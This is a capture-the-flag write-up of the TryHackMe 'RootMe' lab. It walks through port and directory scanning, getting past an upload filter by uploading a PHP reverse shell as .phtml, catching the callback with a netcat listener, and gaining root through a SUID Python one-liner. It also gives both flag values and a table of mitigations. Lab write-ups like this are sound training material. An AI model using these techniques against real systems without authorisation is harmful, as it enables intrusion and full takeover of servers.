Platform: TryHackMe · Difficulty: Easy · Category: File Upload Bypass / SUID Interpreter
Introduction
RootMe tells you exactly what to do right there in the name and then helpfully leaves the door ajar. It's a deceptively clean machine: just a web upload panel, a woefully incomplete file extension filter, and a Python interpreter that someone left running with root-level permissions. The escalation path is about as subtle as a flashing arrow labelled "this way to root." The real lesson here isn't the exploit — it's learning to spot the one file in a thousand-line SUID dump that genuinely shouldn't be there.
Recon
Full-range sweep with RustScan, Nmap for service and version fingerprinting:
rustscan -a 10.49.157.64 -r 1-65535 --ulimit 5000 -- -Pn -sC -sV
| Port | Service | Version |
|---|---|---|
| 22/tcp | SSH | OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 |
| 80/tcp | HTTP | Apache httpd 2.4.41 (Ubuntu) |
Two ports. Nmap notes the PHPSESSID cookie is missing the HttpOnly flag — same pattern seen elsewhere in this series, same implication: this is a PHP application and session security was not a priority. The HTTP title is HackIT - Home, which radiates beginner CTF energy.
Feroxbuster with PHP, TXT, and HTML extensions:
feroxbuster -u http://10.49.157.64 \
-w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt \
-x php,txt,html
# output (relevant hits only)
200 http://10.49.157.64/index.php
301 http://10.49.157.64/panel # ^^^ file upload panel
301 http://10.49.157.64/uploads # ^^^ where uploaded files land
200 http://10.49.157.64/panel/index.php
Two finds that belong together: /panel/ provides an upload form, /uploads/ is the publicly browsable directory where files go. This pairing is the entire attack surface — upload a shell to /panel/, trigger it from /uploads/.
Foothold
Web applications that accept file uploads need to ensure users can't upload executable server-side code. A common mitigation is to filter file extensions — but as with any denylist approach, the filter is only as complete as whoever wrote it. PHP files can be executed by Apache under several extensions beyond .php: notably .phtml, .php5, .phar, and others depending on server configuration. If the filter blocks .php but not its siblings, the protection is cosmetic.
Attempting the obvious upload first — .php extension:
# upload result
PHP não é permitido!
Portuguese for "PHP is not allowed." The filter blocks .php by name, which is the most recognisable extension but not the only one Apache will execute as PHP.
Renaming the PentestMonkey PHP reverse shell and re-uploading:
cp php-reverse-shell.php php-reverse-shell.phtml
The .phtml upload was accepted without complaint. The filter had never heard of it.
Setting up the listener, then navigating to the uploaded file at /uploads/ to trigger execution:
nc -nlvp 4444
# reverse shell callback
connect to [192.168.133.233] from (UNKNOWN) [10.49.157.64] 32968
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Stabilising with Python PTY:
python -c 'import pty; pty.spawn("/bin/bash")'
Shell / Access
Landed as www-data. Three home directories exist: rootme, test, and ubuntu — none readable from this account. The user flag wasn't in the obvious /home/ locations.
find / -name user.txt 2>/dev/null
/var/www/user.txt # ^^^ non-standard location
cat /var/www/user.txt
THM{y0u_g0t_a_sh3ll}
The flag lived in the web root's parent directory rather than a home folder — a mild departure from convention that required find rather than a straight cat.
Escalation
The Set User ID (SUID) permission bit on an executable means it runs with the file owner's privileges rather than the calling user's. When a binary owned by root has SUID set, anyone who executes it effectively runs it as root, regardless of who they are. This is intentional for specific binaries like passwd but catastrophic for general-purpose tools or interpreters.
find / -perm -4000 -type f 2>/dev/null
The output is long. Most entries are expected system binaries. One entry is not:
-rwsr-xr-x 1 root root 3657904 Dec 9 2024 /usr/bin/python2.7
In a standard Linux installation, interpreters never have the SUID bit set. python, perl, ruby, node — none of them should appear in a SUID scan. When they do, it means any user can run arbitrary code as root through them.
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
# whoami
root
cat /root/root.txt
THM{pr1v1l3g3_3sc4l4t10n}
Exploitation — The Full Chain
-
.phtmlupload bypass at/panel/— filter blocked.phpbut not.phtml, landing a reverse shell aswww-data - SUID Python2.7 — interpreter with root SUID set, executed a one-liner to spawn a root shell
Rabbit Holes
Exploring /home/rootme/ and /home/test/. After landing the shell, both home directories were investigated. Neither was readable by www-data — permissions were locked down. .sudo_as_admin_successful in /home/rootme/ is an empty marker file created when a user successfully runs sudo for the first time; it contains no useful information. The user flag ultimately wasn't in either home directory anyway.
Flags
| Flag | Value | Location |
|---|---|---|
| User | THM{y0u_g0t_a_sh3ll} |
/var/www/user.txt |
| Root | THM{pr1v1l3g3_3sc4l4t10n} |
/root/root.txt |
Mitigations
| Vulnerability | Severity | Mitigation |
|---|---|---|
File upload filter — .phtml not blocked |
High | Use a strict allowlist of safe extensions (.jpg, .png, .pdf only); validate file content via magic bytes, not just the name; store uploads outside the webroot or disable PHP execution in the uploads directory via Apache config |
| SUID bit set on Python interpreter | Critical | Remove the SUID bit immediately: chmod u-s /usr/bin/python2.7; audit all SUID binaries regularly with find / -perm -4000; no interpreter should ever have SUID |
Missing HttpOnly flag on PHPSESSID
|
Low | Set session.cookie_httponly = 1 in php.ini
|
| User flag in web-accessible directory | Medium | Store flags and sensitive files outside the webroot; /var/www/ is partially web-accessible depending on configuration |
Key Takeaway
When reviewing SUID binaries, the question isn't "do I recognise this binary" — it's "should this binary ever have SUID set?" Interpreters, scripting tools, and package managers on that list are immediate red flags. A single find / -perm -4000 run and thirty seconds on GTFOBins is often all that stands between www-data and root.
Room: TryHackMe — RootMe
Top comments (0)